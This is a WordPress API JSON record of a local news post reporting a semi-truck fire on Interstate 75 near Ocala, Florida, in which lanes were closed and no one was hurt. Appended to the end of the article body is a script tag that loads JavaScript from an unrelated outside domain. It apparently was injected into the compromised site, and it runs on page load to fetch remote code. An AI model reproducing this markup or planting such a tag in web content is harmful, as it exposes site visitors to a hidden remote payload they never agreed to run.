{"id":212957,"date":"2017-07-01T05:50:42","date_gmt":"2017-07-01T09:50:42","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=212957"},"modified":"2017-11-04T14:52:21","modified_gmt":"2017-11-04T18:52:21","slug":"semi-truck-catches-fire-interstate-75","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/semi-truck-catches-fire-interstate-75\/","title":{"rendered":"Semi-Truck Catches Fire on Interstate 75"},"content":{"rendered":"<p><strong>OCALA, Fla. &#8211;\u00a0<\/strong>Florida Highway Patrol troopers were forced to shut down a portion of Interstate 75 after a semi-truck burst into flames just north of County Road 326 according to a Florida Highway Patrol report.<\/p>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_212958\" aria-describedby=\"caption-attachment-212958\" style=\"width: 735px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.facebook.com\/MCFR.FB\/photos\/rpp.127116807341883\/1456801387706745\/?type=3&amp;theater\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-212958 size-full\" src=\"https:\/\/wordpress-1.tempurl.host\/wp-content\/uploads\/sites\/6\/2017\/07\/semi-truck-catches-fire-on-interstate-75.jpg\" alt=\"A semi-truck caught fire while traveling northbound on I-75 just north of Exit 358 in Ocala Friday afternoon.\" width=\"735\" height=\"440\" srcset=\"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/07\/semi-truck-catches-fire-on-interstate-75.jpg 735w, https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/07\/semi-truck-catches-fire-on-interstate-75-300x180.jpg 300w, https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/07\/semi-truck-catches-fire-on-interstate-75-696x417.jpg 696w, https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/07\/semi-truck-catches-fire-on-interstate-75-702x420.jpg 702w\" sizes=\"auto, (max-width: 735px) 100vw, 735px\" \/><\/a><figcaption id=\"caption-attachment-212958\" class=\"wp-caption-text\">Photo Credit: Marion County Fire Rescue via <a href=\"https:\/\/www.facebook.com\/MCFR.FB\/photos\/rpp.127116807341883\/1456801387706745\/?type=3&amp;theater\">Facebook<\/a><\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<p>Troopers stated that all northbound lanes and southbound lanes of the area were shut down while firefighters with the Marion County Fire Rescue fought to extinguish the flames that erupted\u00a0from the truck around 2:50 pm on Friday.<\/p>\n<p>According to the report, 42-year-old trucker, Dimitris\u00a0Adams was traveling northbound near mile marker 364 when several warning alarms began alerting him to an issue with his rig.<\/p>\n<p>Adams pulled his tractor-trailer to the shoulder of the interstate and got out to investigate. Adams\u00a0observed smoke coming from under the hood and then the truck &#8220;became engulfed in flames&#8221;.<\/p>\n<p>Firefighters worked quickly to extinguish the fire and reopened the lanes at approximately 3:30 pm.<\/p>\n<p>No injuries were reported during the incident.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>OCALA, Fla. &#8211;\u00a0Florida Highway Patrol troopers were forced to shut down a portion of Interstate 75 after a semi-truck burst into flames just north of&#8230;<\/p>\n","protected":false},"author":1,"featured_media":212958,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[1,7],"tags":[17,54,227,1929,1519,1866,85,1463,752,96,108,1362,1870],"class_list":["post-212957","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-local","category-marion-county","tag-accident","tag-fhp","tag-fire","tag-flames","tag-i75","tag-interstate","tag-marion","tag-mcfr","tag-mcso","tag-ocala","tag-semi","tag-troopers","tag-truck","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/07\/semi-truck-catches-fire-on-interstate-75.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/212957","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=212957"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/212957\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/212958"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=212957"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=212957"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=212957"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}